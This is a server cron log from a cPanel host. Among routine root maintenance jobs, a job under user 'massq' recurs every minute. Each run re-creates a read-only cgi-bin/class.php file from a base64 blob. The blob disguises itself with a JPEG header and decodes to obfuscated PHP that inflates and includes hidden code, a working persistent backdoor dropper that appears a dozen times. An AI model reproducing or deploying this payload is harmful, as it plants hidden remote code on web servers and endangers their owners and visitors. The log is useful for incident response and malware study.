Aug 31 03:27:01 server CROND[26531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:27:01 server CROND[26532]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Aug 31 03:27:01 server CROND[26533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:28:01 server CROND[26974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:28:01 server CROND[26975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:28:01 server CROND[26976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:29:01 server CROND[27366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:29:01 server CROND[27367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:29:01 server CROND[27368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:30:01 server CROND[27884]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:30:01 server CROND[27885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:30:01 server CROND[27888]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:30:01 server CROND[27890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:30:01 server CROND[27892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:30:01 server CROND[27889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:30:01 server CROND[27893]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:30:01 server CROND[27894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:31:01 server CROND[28766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:31:01 server CROND[28767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:31:01 server CROND[28768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:32:01 server CROND[29185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:32:01 server CROND[29186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:32:01 server CROND[29188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:33:01 server CROND[29614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:33:01 server CROND[29613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:33:01 server CROND[29615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:34:01 server CROND[30089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:34:01 server CROND[30090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:34:01 server CROND[30091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:35:01 server CROND[30595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:35:01 server CROND[30596]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 03:35:01 server CROND[30600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:35:01 server CROND[30602]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:35:01 server CROND[30603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:35:01 server CROND[30604]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 03:35:01 server CROND[30607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:35:01 server CROND[30605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:35:01 server CROND[30606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:36:01 server CROND[31482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:36:01 server CROND[31483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:36:01 server CROND[31484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:37:01 server CROND[31878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:37:01 server CROND[31879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:37:01 server CROND[31880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:38:01 server CROND[32258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:38:01 server CROND[32259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:38:01 server CROND[32260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
